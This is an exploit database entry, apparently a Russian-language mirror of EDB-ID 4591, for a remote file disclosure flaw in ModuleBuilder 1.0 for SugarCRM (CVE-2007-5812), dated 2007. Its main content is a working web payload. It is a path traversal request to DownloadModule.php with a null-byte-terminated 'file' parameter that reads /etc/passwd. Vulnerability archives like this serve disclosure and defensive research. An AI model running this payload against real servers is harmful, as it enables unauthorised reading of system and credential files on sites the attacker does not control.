Exploit ModuleBuilder 1.0 - 'file' Remote File Disclosure

[Exploiter]

EDB-ID

4591

Проверка EDB

1. Пройдено

Автор

GOLD_M

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-5812

Дата публикации

2007-10-31

ModuleBuilder V1.0 (file) Remote File Disclosure Vulnerability
http://www.sugarforge.org/frs/download.php/1274/install_ModuleBuilderV1.0.zip
/modules/Builder/DownloadModule.php?file=../../../../../../../../etc/passwd%00

# milw0rm.com [2007-10-31]